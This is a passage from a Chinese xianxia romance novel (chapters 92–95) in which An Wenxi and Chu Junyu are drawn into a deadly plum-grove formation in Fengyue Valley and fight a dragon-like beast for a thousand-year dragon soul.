第二日一早,月无双便早早的洗漱完毕来找安文夕,央求安文夕帮她梳妆打扮,其实她的审美观不正常,自己不会梳妆的原因要归结到她娘亲风飘雪身上。 由于风飘雪妒性较强,整个枫月谷上下,除了她们母女二人是女的,剩下的就是青一色的童子了,风飘雪真是恨不得枫月谷内的蚂蚁都全部是公的! 月无双常人由小僮服侍,头发自然也是小僮帮她梳的,后来,待她长大了,就一直是自己随心所欲的摆弄。 月无双看着铜镜里的自己,甚是满意,脑海中楚君昱那张俊逸的脸庞一闪而过,她颇为细心的将额前的碎发拢至耳后。 用完早膳,安文夕和月无双一起来到了主院,此时月无痕和风飘雪刚刚用完早膳,看到安文夕,早就明了了她的来意,对她招手道:“随老夫去药房。” 月无痕先是为安文夕把了把脉,然后一脸凝色道:“你体内的雌蛊虫已经埋进体内半年之久,时间不算太长,若是想解去相思蛊的话也并不难,但是——”月无痕瞥了眼立在一旁的月无双,蓦地停住了。 “但是什么呀?”月无双迫不及待问道。 第92章 假的引魂丹 第九十二章 假的引魂丹 “无双,你去沏壶茶来。”风飘雪随意说道。 “有什么不能说的,还非得支开我。”月无双咕哝道。 “月谷主,现在可以说了吧,需要我怎么做?” “老夫给你配副解药,届时你和北宫喆同时饮下,但是最主要的还是需要男女双方……” “我明白。”安文夕看着月无痕欲言又止的样子心中明了。 可是若是解蛊需要这样的话,她倒宁愿不解,永远不要再和北宫喆有所牵连。 安文夕咬了咬下唇,慢慢覆上心口,那里顿顿的疼,若是不解,她害怕会渐渐迷失了自己,舍不得杀他,忘记报仇。可若是想解相思蛊,势必会再与他羁绊…… 风飘雪颇为感怀的看了眼安文夕道:“这相思蛊长期种在体内,并不是什么好事,若是能解还是早些解了吧。” “老夫给你配了解药,至于解不解,决定权还在于你。”月无痕说道,“这解药不是一时半会就能配出来的,这段时间你就安心住在谷里,正好双儿也比较喜欢你。” “多谢月谷主了。” “爹爹,我砌好茶了。”月无双端着茶壶进来。 “夕姐姐,你尝尝我们谷中的梅花茶如何?” 安文夕接过月无双递来的茶,浅浅啜了一口,微微有些酸涩,但是酸涩过后便是醇香,淡淡的梅香萦绕在唇齿之间,令人回味无穷。 安文夕赞道:“好茶。” 月无双听到安文夕夸赞,立即眉飞色舞起来,“这主要是我茶艺好。” “谷主,玉公子求见。”青衣小僮撩起门帘禀告道。 “让他进来。” 看着掀开门帘的那只骨节分明的大手,月无双立即凝住了视线。 楚君昱进了门,闻道幽香淡淡的茶香,不禁称赞道:“这梅花茶好香。” 月无双心中兴奋起来,对他道:“玉公子要不要尝尝无双刚泡的茶?” “多谢无双小姐。” “不知玉公子这次来枫月谷求什么药?” “在下想求引魂丹。” “砰——”楚君昱话音未落,月无双手中捧着的茶盏蓦地摔倒了地上,上好的白瓷杯盏顿时碎成了一片,滚烫的茶水洒了一地。 “我……手滑了。”月无双无力地笑了笑,这下完了,老爷子铁定知道谷里的这颗引魂丹是假的了。 月无痕根本没有在意月无双这个小细节,冷声对楚君昱道:“玉公子可知引魂丹乃我枫月谷至宝,从不外借?” “在下知道,但是事急从权,在下想来试一试,月谷主,救人一命胜造七级浮屠。” 月无痕一拂袖子,冷冷哼道:“救人一命胜造七级浮屠?”这句话或许二十年前对他来说还有用。 “月谷主……” “这件事,你不必多说,老夫绝不同意,你若是执意如此,老夫只有将你赶出枫月谷了!” “玉公子,这件事我爹爹肯定不会同意的,不如你求点别的药吧。”月无双劝道,希望爹爹不会去察看引魂丹。 楚君昱放下茶盏,嘴角微勾,“月谷主不必生气,在下就换几种药便是。” 安文夕不动声色的看了眼楚君昱,小口的抿着茶,只怕枫月谷丢了引魂丹一事再也瞒不住了!这与她而言,不是一件坏事! 月无双回到了自己的院子,立即急不可待的给月清绝发了封急信,催他回谷,左右思量一番,觉得还是不妥,刚想去琦月阁看看老爷子是否发现了那颗引魂丹是假的,便听到了月无痕的咆哮。 “月无双,你给我过来!”琦月阁方向突然传来月无痕气急败坏的咆哮。 完了完了!老爷子发现了,她要死定了! 月无双扫了眼四周,还没有来得及发现藏身之处,眼前白光一闪,她便被月无痕整个提了起来。 “月无双,我问你,引魂丹呢!”月无痕一脸铁青,恨铁不成钢的看着月无双,他怎么会有这样吃里扒外的闺女,竟然敢拿一颗假的引魂丹来蒙骗他! “爹……爹,那……那引魂丹不是好好的在琦月阁么?” “还给我装蒜?”月无痕右手一扬,手里的粉末就要往月无双撒去,月无双立即吓得闭上了眼睛,这老爷子向来不手软,这痒痒粉可不是闹着玩的,一旦沾身,非得退层皮不可! “爹爹,你等一等,这件事是我哥做的,与我无关,我也是后来才知道的……”说到最后,声音已是细不可闻。 “知情不报,罪加一等!”月无痕一把松开了她。 “赶紧给他飞鸽传书,让他立即回谷!” “是是。” “对了,他拿引魂丹去干什么去了?” “好像是去复活江向晚了。”月无双小声道。 月无痕闻言拧了眉,“那江向晚己经没有了心,与死人无异,就是他逆天而行,强行复活了她,她也不过是行尸走肉罢了!”最关键是,还白白的浪费了引魂丹的精华! “这件事是北宫喆那小子做的吧,你告诉他,让他立即将引魂丹送回来,否则,老夫不介意亲自出谷寻回引魂丹!” “可是爹爹,那引魂丹不是一旦注入体内便取不出么?” “取出还是能取出的,只不过有些麻烦罢了,而且如果强行取出,会对那个人的身体造成极大的伤害。”顿了一下,月无痕又接着道,“你以为,老夫会在乎那江向晚的死活?” 偷了他的引魂丹,本就是罪不可恕! 月无痕望着远处,微微扬眉,医者仁心么,这医者的本分他早在二十年前便失去了。现在,他只想和妻儿共享天伦之乐,不想被人打扰罢了。 安文夕嘴角微勾,他不惜与月无痕翻脸,也要将她救火,这份情谊,的确深重,那她就要看看他要如何向月谷主交代了!她的眼底盛满了讥意。 既然楚君昱也想要引魂丹,她不介意帮他争一争,也算是报答了他多次出手相救的恩情。 月无双看见了她来,立即朝她招手道:“夕姐姐,不如让喆哥哥来一趟吧,也好顺便解了你的相思蛊。” 月无痕淡淡点了点头,“如此再好不过。”看着眼前的安文夕,他不禁眼前一亮,若是北宫喆不肯交出引魂丹的话,他不介意小人一次! 安文夕瞥见了月无痕眼底的精光,立即道:“月谷主,您能不能先不要告诉他我在枫月谷。” 她是凤轻歌这层这份绝对不能让他知道,更何况,现在这里还有个楚君昱! “罢了,你先给绝儿传书,让他带着引魂丹回谷。”月无痕对月无双吩咐道。 “多谢月谷主。” 月无痕踱步出了月无双的院子,他今天答应了她,就当是还了当年莫虞的一份恩情吧。 谷内厚厚的积雪尚未消融,整个枫月谷一片银装素裹,楚君昱立在窗前,嘴角微勾,这引魂丹丢了,好戏马上就要来了。 “殿下,您是故意向月谷主求引魂丹的吧,月谷主发现那引魂丹是假的,势必会让北宫喆将引魂丹送回来,届时我们只需要将这引魂丹抢回便可以了。”夜影不禁在心中称赞,殿下这一招实在是高。 楚君昱凤眸微敛,嘴角扯出了一抹淡淡的笑意,转身出了房门,朝安文夕的院落走去。 半道上,楚君昱碰到一位青衣小僮端了碗漆黑的药汤,随口问道:“这是送到无双小姐房间的?” “不是,这是凤公子要的汤药。” 凤公子要的……汤药里面微微散发着益母草和艾草的味道,这分明是缓解女子痛经的药汁,楚君昱打量着那碗药汤,眸光渐深,抿了抿薄唇,复又折回了房间。 跟在后面的夜影有些摸不着头脑,殿下不是去找凤公子么,怎么又回去了? 一晃之间,安文夕来到枫月谷已有十余日了,每日无双都陪她在谷内四下转转,不出几日,她已经将谷内熟悉了一遍。 谷内花草繁多,只是冬日里便只剩下了枯枝残叶,唯有凌寒独放的红梅,簇簇红意压满了枝头,分外的灼人眼球。 可是令她有些奇怪的是枫月谷的西山那里,明明是红梅遍野,景色怡人,为何每每还没有到西山,无双便停住了脚步,想必是这是枫月谷的秘密之地,安文夕向来不喜欢窥探别人隐私,故而也没有向月无双提过这件事。 可是她不去窥探,却管不了身边的人耐不住性子去好奇,尤其是那个向来不安分的主。 她正和月无双逗丨弄小青蛇,夜影急匆匆赶来,一脸凝色道:“凤公子,不好了,与你同来的匀公子去了西山梅苑,我家公子一直待在梅苑入口守着,却迟迟不见匀公子出来。” “什么?”月无双一下子惊得从凳子上弹了起来。 欢凉挽了黛眉,“怪不得这会没有看见他。” “大事不好了。”月无双神色微凝,“爹爹从来不让我和哥哥接近西山的,那里面有八卦阵,十分凶险,我小时候偷偷进去过,结果差点被八卦阵吸入阵法里面,而且爹爹还曾说那里面有怪兽!” “我进去找他!”欢凉沉声道。 “不可莽撞。”安文夕一把拉住欢凉,然后看向月无双道,“无双,不如去请月谷主来。” “不行,引魂丹丢了,爹爹如今正在气头上,若是被他知道有人进了西山,后果不堪设想。”老爷子向来脾气顽固,万一他不爽起来,要拿袭匀试毒就糟了。 第93章 西山梅苑 第九十三章 西山梅苑 “我们先去梅苑看看吧。”安文夕双眸微锁。 “这样也好,不如我们偷偷进了西山梅苑,趁着袭匀还没有触动阵法之前将他带出来,这样也能神不知鬼不觉。”月无双虽然嘴上这么说,但脸上却有些惧色。 待众人赶到梅苑入口之时,楚君昱早就不见了踪影,夜影整个心蓦地一沉,眸光一敛,迅速掠进了梅苑。 “喂,你别乱进……”夜影的速度太快,月无双根本来不及拉住他的衣角,然后扭头对安文夕道:“夕姐姐,咱们也赶紧进去吧。” 初入梅苑,便有一阵清幽的梅香席面而来,红梅映雪,暗香浮动,似乎看起来与平常的梅林无异。 “夕姐姐、欢凉,你们多注意脚下。”月无双仔细叮嘱道。 一旦踏入梅苑,周遭便萦绕着凝重的气氛,再好的景色她们也无心欣赏。 虽然不论前世今生,安文夕对八卦阵发都有研究,但现在她仍不敢大意,既然这里的阵法让月谷主都有所忌惮,必然不是简单地八卦阵。 “在我的记忆中,上次我分明是从这里绕过去的,为何这次来,这里的小路不见了?”月无双指着一处梅林惊诧道。 “你上次是不是从那条小路上穿过了梅林?” 月无双点点头,“不过,当时我刚走了不久,前方的路突然闭合,待我再回头时,来时的路也不见了,然后梅林不停的移动,就在我眼花缭乱的时候,梅林移动的越来越快,越来越朝我逼近,最后不断有梅藤向我飞舞而来,幸好爹爹及时将我救了出去。”由于当时情形十分危急,事后她又被吓病了数日,所以记得十分清楚。 “照你这么说,那前方就应该入阵了。”九州的八卦阵常常会自己移动,所以更加诡谲多变,应付起来就更加的棘手。 她向来喜欢研究机关阵法,当年她又比较贪玩,有一次私自出宫潜入夏朝的陵墓,不小心被困在七杀阵里,本以为就要困死阵中,却被初入大安的北宫喆所救。 英雄救美,就如戏剧里所演的那样美好,她一见倾心,结果却是今日万劫不复的开始! 安文夕自嘲的扯了扯嘴角。 “夕姐姐,我们从这里走吧。”月无双这条靠着梅苑的一条幽径道。 安文夕点了点头,对欢凉道:“试着用传音入密联系一下袭匀,问他现在在哪?” “公主,不行,传音入密根本无法联系袭匀,听音石也不行。”欢凉蹙眉道。 “玉公子和夜影也不见了踪影,看来只要我们入了这八卦阵,再想出来就难了。”月无双微微忧虑道。 “这梅林十分古怪,我们刚才就已经来过这里了!”安文夕察看了眼她刚才留下的记号说道。 “难道我们迷路了?” “不,我们不是迷路,而是我们已经入阵了!”安文夕杏眸扫了眼周围的梅树,好像它们正以肉眼不可见的速度移动着。 “入阵?”月无双惊呼道,刚才明明是绕着梅林的边际走的。 她立即上前两步,跟紧了安文夕道:“夕姐姐,你说我们还能出去么?” “只要能找到阵眼,并设法破了阵眼就可以出去了!” “夕姐姐,这梅林又动了!”月无双惊恐道,幼时那恐怖的记忆再次朝她袭来,她大力的握着安文夕的手。 “无双,你不要看!”安文夕大声道,这移动的梅林容易迷惑人的视线,若是一直盯着看,易让人迷失心智,永远被困在梅林里,轻则双目失明,重则七孔流血而亡。安文夕一把拉住欢凉,“我们拉着手,免得有人一不小心被卷入梅林。” 再看地上的景致,和刚才初进梅苑时竟然一模一样,这样一来,无论安文夕在哪做了记号,都始终不知道究竟哪里走过了,哪里没有走过。 风声渐起,卷起地上的砂石,砾砾作响。阴冷的风席面而来,令人心中一颤,周遭的氛围渐渐变得更加阴森可怖起来,整个梅林仿佛笼罩了一层沉沉雾气一般,压抑的人喘不过气来。 安文夕眸色一凛,这熟悉的场景令她心有余悸,这分明就是当初困住她的七杀阵!可惜,当时她醒了之后,便已经出了七杀阵,她根本就不知道如何破了这七杀阵! 她抿了抿唇,打起十二分的精神满满往前走着,偏偏在她的脑海中,那个人的音容笑貌逐渐的清晰起来,九哥哥温柔的眉目和北宫喆冷桀的面庞渐渐重合起来,久久挥之不去。 月无双一张小脸绷得紧紧的,大大的杏眸警惕的盯着四周,攥着安文夕的手心里出了一层细汗,她真是有些后悔了,刚才就不该鲁莽的跟进了西山梅苑。 “公主,我好像看到了玉公子的影子。”欢凉有些兴奋道。 安文夕也捕捉到了楚君昱的一片残影,如海市蜃楼一般,看来,这八卦阵里不禁有令人胆寒的七杀阵,还有九宫虚幻来迷惑众人的视线。 今天,她们能平安出去的几率几乎为零…… 安文夕黛眉轻挽,袭匀到现在一点消息也没有,不知道他如今在哪。 突然眼前再次闪现楚君昱的身影,安文夕一转身,周围梅林空隙间同时出现了好几个楚君昱俊逸的脸来,她忙闭上眼睛,然后蓦地睁开,眼前再没有出现楚君昱,反而看到了袭匀被梅藤紧紧缠绕着。 “袭匀——”安文夕惊呼道,脚下却猛地被什么东西缠住,她挥剑斩断,却突然发现无双和欢凉不见了踪影! 她们明明和她在一起的,这究竟是怎么回事? 不好,她陷入虚幻之境了! 安文夕蓦地盘地而坐,闭眼凝神起来,刚过了片刻,耳边传来欢凉的声音道:“公主,那真的是玉公子,我们赶紧跟上吧。” 安文夕扫了眼月无双和欢凉,淡吐了口气,还好,她终于出来了! 她们刚迈动了脚步,眼前的景色一变,到处是赤红沁血的红梅,哪里还有半分楚君昱的影子? “小师……妹,师兄被……梅藤缠住了,快来……”安文夕听到了袭匀通过传音入密的大喊。 消息传到安文夕这里便只剩下了只言片语,不过这已经足够,总算是联系上了袭匀,安文夕嘴角微微有些丝笑意。 她们立即顺着声音的方向前进,由于她们顺着声音,而不再看着记号前进,方向感比刚才好了不少。 前行了一段,她们慢慢找到了方法,在这七杀阵里,梅林诡谲奇异,踪迹难寻,若是单凭眼睛去看,一会便眼花缭乱。若是依靠听觉的话,反而达到了事半功倍的效果。 由于九宫虚幻的困扰,她们听到的声音一直是断断续续的,待她们终于找到袭匀时,他已经被张牙舞爪的梅藤折磨的只剩下了半条命了。 那些梅藤看到了安文夕等人,仿佛是看到了新鲜的食物一般,急不可待的朝她们扑来,安文夕见状立即拔出了长剑来。 她擅长用鞭,用起剑来难免有些生硬,但她手腕灵活,飞快的斩断朝她袭来的梅藤。 “小师妹,快!”袭匀眼中露出喜色。 利剑还没有来得及斩开困着袭匀的梅藤,便被梅藤死死缠住,藤蔓顺着剑身慢慢爬上安文夕执剑的手臂,安文夕侧身一避,再看欢凉和月无双,现在也没有好到哪去。 “夕姐姐,救我!”月无双手里的银针翻动,但却丝毫无法阻止梅藤朝她席卷而来。 看着面前湿潮丑陋的梅藤,她心里一阵阵恶寒。 “无双小心!”安文夕轻盈的避开了梅藤,抬脚将围着月无双身测的梅藤踢来。 “公主,小心你后面!”欢凉大声道,她如今被梅藤缠着,根本无法去帮她。 “嚯——”一柄泛着银光的利剑破空而来,将安文夕身边的梅藤尽数斩净,然后一把将她带起,随即利光一闪,袭匀顿时恢复了行动。 “公子!”夜影迅捷的扫清了脚下的障碍,靠在楚君昱身后。 月无双见众人皆聚在了一起,心中的恐惧渐淡,恶狠狠的挥洒着毒粉,逼得梅藤节节后退。 “敢缠着本小姐,毒死你们!哼,让你们瞧瞧本小姐的厉害。” “无双,别闹了,赶紧跟上!”安文夕厉声道。 楚君昱紧紧锁着眉,“当务之急就是要找到阵眼。” “要找阵眼谈何容易,我们现在处在八卦阵的梅林中,周围还有七杀阵,并且不时伴随着九宫虚幻。” 他们在这梅林中不丧命就是好的了,怎么去找那阵眼? “也许,梅林深处就是阵眼。”楚君昱沉声道。 “梅林深处?”袭匀脸色一黑,“那岂不是去送死?” “知道送死,还跑到西山来?”欢凉气愤道。 袭匀闻言,脸上一白,看来这次他也算是长了个记性。 “等等我……”月无双一阵小跑道。 “啊!” 正在小跑的月无双突然发出一声尖锐的喊声,众人蓦地回头,却发现她身处的地方发出刺目的光来,她整个人慢慢下降。 “无双——” “啊!又要将我吸进去了,夕姐姐,救我!” 第94章 破阵之法 第九十四章 破阵之法 “阵眼在那里!”楚君昱指着欢凉脚下的光芒道。 安文夕看着慢慢被吸进去的月无双,身形一晃,一把抓住月无双的手,不料月无双的脚底好像生了磁场一般,根本无法撼动分毫,眼看月无双就要被吸进阵眼,安文夕突然沉身下去,使出所有力气将月无双拖了上来。 楚君昱立即伸手去拉安文夕,而他的指尖却只轻轻的触到了安文夕的衣角,眼睁睁的看着她坠身下去。 “公主!” “小师妹不要啊!” “夕姐姐——”月无双借着安文夕的力气渐渐摆脱了阵眼的吸力,刚刚要踏出来,一旁蠢蠢欲动的梅藤再次翻动起来,将月无双再次拖向阵眼之中。 楚君昱眸光一敛,顺手将月无双捞了过来,然后一把扔给身后的夜影,待他再次将手伸向安文夕时,却发现安文夕此时已经几乎完全沉入阵眼,楚君昱凤眸微缩,飞身一掠,紧紧的抓住了安文夕的手。 速度之快,令人来不及反应,众人只觉得眼前掠过一道紫光。 “玉公子——”欢凉惊呼道。 “公子!”夜影脸色蓦地一变,立即冲了过去,想拉住楚君昱。 可惜此时已经晚了,楚君昱和安文夕齐齐被吸进了阵眼之中,随着他们的消失,伴随着的刺目的光也消失不见。 周遭又恢复了以前的景象,仿佛刚刚什么都没有发生一般。 夜影飞快的掠到刚才楚君昱沉下去的地方,不停地摩挲着地面,仍然没有半点痕迹。 “夕姐姐……”月无双有些愧疚唤道。 “小师妹,你别吓我,师兄不禁吓的啊……”袭匀顿时慌了神。 “公主,公主……”欢凉一颗心顿时沉到了谷底,若是公主发生了什么意外,那么一切都失去了意义!不行,她不能让公主有事,决不能! 她不甘心的一遍遍用手抠着刚才安文夕消失那处的泥土,直至将指甲扣得翻飞,血肉模糊不堪。 袭匀立即捉住她的手道:“你在干什么,这手不打算要了么!” 欢凉一把甩开他,“你滚开,要不是你,公主怎么会消失不见!” “好好,今天都怪我,但是你也不能这样作践自己,你这样小师妹就能回来么?”袭匀抓着欢凉的手正色道。 月无双不好意思的看了眼欢凉,小声道:“欢凉,你要怪就怪我吧,夕姐姐是为了救我才……” 欢凉狠狠挥掉袭匀的手,咬着唇,“你们都走开,若是公主有什么三长两短,我绝不会放过你们!”然后握紧了地上的长剑,蓦地向已经偃旗息鼓的梅藤砍去。 “我……”月无双咬了咬唇。 突然,他们眼前的景象一变,周遭的梅藤全部消失不见,而映入眼帘的簇簇红梅开得正艳,而他们此时正处在梅林深处,一条铺满梅香的小径蜿蜒引向了梅林出口。 欢凉一惊,难道阵眼已经破了! 原来是这样!她的心中顿时明了。 这所谓的破阵,就是要将人活活吸进阵眼,方可破阵。 入阵,就意味着有人要死亡,只有有人死了,其他的人才有活的可能。 怪不得这里的八卦阵如此诡谲,往往进入这八卦阵的人为了活命,不惜自相残杀,将同伴送进阵眼。 阵法本不可怕,这世上最可怕、最多变的是人心! 月无双一咬牙道:“我去找爹爹来救夕姐姐和玉公子。” 强烈的旋风缠绕的安文夕睁不开眼睛,只有手心处传来阵阵温暖,感觉有人揽住了自己的腰肢,安文夕蓦地睁开了眼睛,却发现周围一片漆黑。 “别怕。”耳边突然传来一声轻唤,安文夕下意识抓紧了那只手。 不知过了多久,耳边呼啸着的旋风渐渐小了下来,安文夕还没来得及睁开眼睛,身体就已经直接坠入了一处冰冷的水中。 冷冽的冰水寒气透骨,侵入骨髓,安文夕冻得浑身打颤,厚厚的棉衣沾了水,更加湿重不堪。 安文夕奋力往上游去,可是这里的水十分奇怪,每当她拼命的往上游时,却越来越不受控制的往下沉去,如此反复几次,她力气消耗了大半。 就在她几乎要窒息的时候,一方冰凉的唇瓣贴上了她的,柔丨软的轻触带来的酥丨麻令她的大脑一片空白,这是楚君昱的唇? 细腻而温柔,甚至还带了点淡淡的清香。 在她还没有反应之际,楚君昱向她渡了一口气息,揽着她的腰慢慢往上游去。 “哗——”终于探出了水面,安文夕长长的呼吸了一口带着寒意的空气,寒意顺着呼吸袭至肺腑,仿佛要将她整个冻成冰块一般。 “胭脂,来。”楚君昱握着她的手,拉着她上岸。 胭脂?安文夕蓦地摸向自己的脸,果然自己原来戴的那张人丨皮面具早就不见了,而她身上的湿衣将那玲珑的身材毫无保留的显露了出来。 “我……” “过来。”楚君昱眼底飞快的划过一抹狡黠,两人一起上了岸。 安文夕这才注意到了这里的环境,周围满眼尽是殷红的梅花,一簇簇、一团团,堆满了整个山涧,那花瓣赤红一片,仿佛鲜血浸染一般,每一枝桠上的梅花都开得妖娆夺目,而地上却不曾看到半片落花。不远处是一眼望不到边际的湖面,水面时而荡开了一圈圈的涟漪,这里的温度甚至低至零下二三十度,为何湖面却丝毫没有结冰?梅花、河面,甚至连一旁生着绿苔的石头都有一股说不出的奇怪,这里的一切都透着诡异! 安文夕冻得牙齿打颤,薄唇透着紫色,“你……你早就知道了?” 楚君昱微微颔首道:“只是一直不确定罢了,先别说话,你坐下。”说着他盘腿而坐,示意安文夕坐在他的身前。 安文夕顿时明白他要帮她烘干身上的衣服,她立即说道:“我自己可以。” “你的内力本就没有完全复原,还是我来吧。”然后不由分说,拉着她坐下,运起内力来。 衣服半干之际,不远处突然传开一声奇怪的声音来,安文夕抬眸看去,水面依旧微波荡漾,没有丝毫异样,安文夕有些不安的回过头来。 半晌,湖面掀起一阵水花,并伴随着一声低沉的吼叫声。 “玉公子,你有没有听到什么声音?”安文夕扭头问道。 楚君昱收了手,点点头道:“我们赶紧离开这里,只怕这水里面有凶兽!” 楚君昱话音未落,水面上掀起一张高的水浪来,将安文夕刚刚烘干的衣服全部打湿。 “走!”楚君昱拉着安文夕一跃而起,足尖轻点梅枝,稳稳的落在红梅枝头。 “看那里!”安文夕此时已经顾不上楚君昱放在她腰间的手,敛眸看向水面。 原本风平浪静的水面此时突然起了漩涡,然后升起了一丈长的水花,隐约之间可以看到隐在水浪间的庞然大物来。 似龙而非龙,似蛇而非蛇,无翅而能飞,浑身布满了鳞片,金光闪闪耀花了人的眼睛。而其中最为闪耀的莫过于额头上嵌着的龙片了,熠熠闪光。 “千年龙魄!” 安文夕心中大惊,那不就是北宫喆一直寻而不获的千年龙魄么,竟然长在了这只怪物的额头上! 第一片千年龙魄在就被父皇用在了她的身上,而第二片在西楚皇室,第三片被陌姑姑用了,难道九州还有第四片龙魄不成? “这就是那千年龙魄?”楚君昱双瞳骤缩,紧盯着那片发着幽光的千年龙魄。 安文夕扫了眼楚君昱,他看样子好像是第一次见千年龙魄,她不禁问道:“你进谷求引魂丹是为了你父皇的病吧,你们西楚不是有一片千年龙魄么,为何你还要求那引魂丹?” 楚君昱苦笑,“世人皆以为西楚有一片千年龙魄,其实西楚那一片是假的,不然父皇他早就用了那千年龙魄了。” 原来是这样,看来这就是那第二片千年龙魄了! “哗啦——”那只巨兽摆动了尾巴,牵起一阵水花,而它的口中突然吐出了一个残缺不全的人头骸骨来,此时正贪婪的盯着他们,垂涎不止。 看来,早于他们,已经有人进来过这里了,只不过,进入这里的人皆成了这巨兽的腹中餐! 这里和外界毫不牵连,仿佛是一个与世隔绝的空间,那他们怎样才能出去,还是只能困在这里等死么? “难道,只有杀了它,我们才能出去么?”安文夕摸向腰间的七节鞭。 既然楚君昱已经认出了她的身份,她就不必再遮掩。 楚君昱也握紧了手中的长剑,这千年龙魄,他要定了! “胭脂,跟在我身后!” 安文夕毫不示弱的抽出了七节鞭道:“我也可以!”她从来不是躲在男人身后的女子。 对面的女子眉色张扬,杏眸里一片坚韧,楚君昱心跳蓦地加快。 “好,我们一起。”楚君昱握住安文夕的手,御剑而去。 送上口的食物怎能拒绝,那巨兽翻滚着巨大的身子,头上的触角朝他们袭来,安文夕和楚君昱对视一眼和它缠斗起来。 不过片刻功夫,楚君昱手中的利剑已经斩断了巨兽头上的两根触角,寒气森森的湖水被染得血红一片。 “吼——”那巨兽痛得嘶吼起来,甩起了身后巨大的尾巴,张着血盆大口,发出震耳欲聋的嚎叫,阵阵恶臭令安文夕一阵反胃。 第95章 我愿意 第九十五章 我愿意 安文夕甩出七节鞭,砸向巨兽肥重的尾巴,那力道足以令百年大树齐腰折断,却难以在巨兽尾巴上留下半点痕迹。 楚君昱绕到巨兽身后,想从后背摘下巨兽额头上的千年龙魄,不料这巨兽却是警觉的厉害,楚君昱还未出手,它一个打滚便潜入了水中,激起了层层水花。 “你想要千年龙魄?” 楚君昱点点头,“我父皇病重,需要千年龙魄。” “好,我帮你。” 安文夕话音未落,水下突然激起巨大的波浪来,巨兽身上泛着水泽的鳞片分外刺目,猛地张开大嘴朝楚君昱扑去。 “小心——”安文夕再次出鞭,试图转移它的视线。 可这只巨兽一点也不上当,只专心的对付楚君昱,有力的尾巴卷起阵阵水花,模糊了他的视线,然后迅捷的甩着尾巴,似乎想将楚君昱拍碎一般。 楚君昱幽瞳一凛,手中的长剑夹裹着凌冽之势,瞬间在巨兽身上划出道道血印来,它立即张出如铁钳般的爪子去抓楚君昱手中的长剑。 安文夕看准了机会,对楚君昱使了个眼色道:“你缠着它,我去拿千年龙魄。” 这只巨兽太过狡猾,虽然被楚君昱紧缠着,却不给安文夕丝毫可以接近它身后的机会,一时间安文夕无法下手。 楚君昱虚晃一招,然后猛地将长剑插丨进巨兽的脖颈处。 “吼——”巨兽吃痛的发出令人震耳欲聋的嚎叫,如铁钳般的爪子将插在它脖颈处的长剑截断,掀起粗壮的尾巴砸向楚君昱。 “噗——” 巨兽将尾巴藏在了水底来到楚君昱身后,然后一跃而出,直袭他的后背,重重的将他拍到岸上。 “玉公子——” 楚君昱再次运起轻功,将巨兽脖颈处露在外面一截的长剑一脚全部踢进它的皮肉之中,一时间血浆迸发。 “就趁现在!” 安文夕不等楚君昱说话,就已经翻身来到巨兽身后,用七节鞭缠住它还残留着一截的触角,然后顺着七节鞭一跃而起,右手飞快的摘下巨兽额头上的千年龙魄,迅速的揣进怀中,松了七节鞭,在空中来了个漂亮的后空翻,和巨兽之间拉开了距离。 就在千年龙魄被摘下来的那一瞬,整个巨兽身上原本金光闪闪的鳞片全部失去了光泽,变得黯淡无光。它此时不再注意它身上的血迹斑斑,也不再去纠缠楚君昱,而是发出一阵阵哀嚎。 声音之大,足以震碎人的心肺。 它变得暴躁不堪,掀起了一波又一波水浪,铁钳般的利爪突然变长,朝安文夕抓去。 “胭脂,小心——” 楚君昱话音未落,安文夕蓦地闻道一股浓郁的血腥味,抬头看向楚君昱,他睫毛轻颤,嘴角紧抿,显然是在忍受着巨大的疼痛。 “走!”楚君昱咬牙道。 没有攻击到安文夕,那只巨兽变得更加烦躁不堪,不停地拍打着水面,巨大的嘴里喷出一阵震人肺腑的强大气流来,将楚君昱和安文夕狠狠的抛到岸上。 这一股强大的气流将岸边上开得正艳的梅花卷入一阵强劲的旋风之中,周遭仿佛下了一场异常绚烂的花雨一般,美得惊心动魄。 可是下一瞬,安文夕突然发现原本被卷入旋风之中的梅花瓣全部缠向她和楚君昱,一股脑的涌入楚君昱受伤的后背,沾血的梅花似乎比刚才更加妖艳了! 安文夕立即将缠绕着楚君昱身侧的梅花一掌拍飞,却惊奇的发现当梅花落到地上,立即枯萎消失不见,再也找不见半点痕迹。 安文夕突然明白为什么刚来到这里她在地上没有看到落花了,原来这里的梅花只要离了枝头,要么依靠吸食人血而活,要么沾土即死。 吸食楚君昱鲜血的梅花整个花瓣变得十分圆润,安文夕立即将覆在他后背伤口上的梅花瓣悉数扔到地上。 “你怎么样?”安文夕看了眼脸色苍白,额头上冒着冷汗的楚君昱道。 “我……没事。”楚君昱嘴角攒出了一抹虚弱的笑意。 “砰——”有一阵巨大的水花朝岸上砸来。 安文夕回头看到那只巨兽正慢慢的朝岸边游来,他们拿了千年龙魄,看样子这只巨兽不肯善罢甘休了。 楚君昱用力的从地上撑起,眸光深深,看着发怒的巨兽,取出贴身的长剑来。 安文夕拉住他道:“你受伤了,我来!” “你不是它的对手。”楚君昱凝眉道。 他提了口气,握紧了手中的剑,银光一现,剑气如虹,直冲巨兽血红的眼睛刺去。 安文夕也紧随其后,一手持鞭一手接连射出泛着幽光的银针来。 不消一盏茶功夫,两个人明显落了下风,安文夕咬了咬牙,贴近巨兽,将手中的银针一股脑的全部射入巨兽的双目之中,楚君昱立即趁着这个机会,手里的长剑划过巨兽的双目然后拐过它的脖子,割开了一道巨大的血口来。 “吼吼吼——”猛然失去视线的巨兽发疯般的吼叫起来。 巨兽的双目以及脖颈处汩汩流出殷红的血,伴随着鲜血,一股恶臭扑面而来。 它蓦地一下潜入水中,因为有了刚才的教训,安文夕不敢大意,眼睛一瞬不瞬的盯着水面。 过了半天,水面渐渐恢复了平静,偶尔漾出一圈泛着血色的涟漪。 这时,水下突然伸出了一条细长的尾巴,一下子将安文夕卷入了水中,速度快至令人来不及反应。 入了水,冰冷刺骨的湖水冻得安文夕失去了知觉,刚睁开眼睛便看到一张血盆大嘴要将她整个吃进腹中。 安文夕摸出匕首迅速割断缠着她的尾巴,然后双脚蹬到巨兽下颌上,借着力道,安文夕远远地弹开,被潜入水中的楚君昱一把捞出水面。 二人还没来得及掠至岸上,一截断尾便狠狠的砸来。 楚君昱立即一把将安文夕扔至岸上,他来不及躲避,被断尾砸向胸腔,猛地甩到岸上,喷出一大口鲜血来。 “玉公子,你怎么样?” “玉公子?楚君昱?你醒醒!” 无论任她怎么摇晃,楚君昱仍然紧闭着眼睛。 安文夕轻颤着手指放到楚君昱鼻下,若有若无的呼吸令安文夕紧紧锁了眉头。 不远处湖中的巨兽扔在不停的咆哮,似乎在寻找他们的存在。 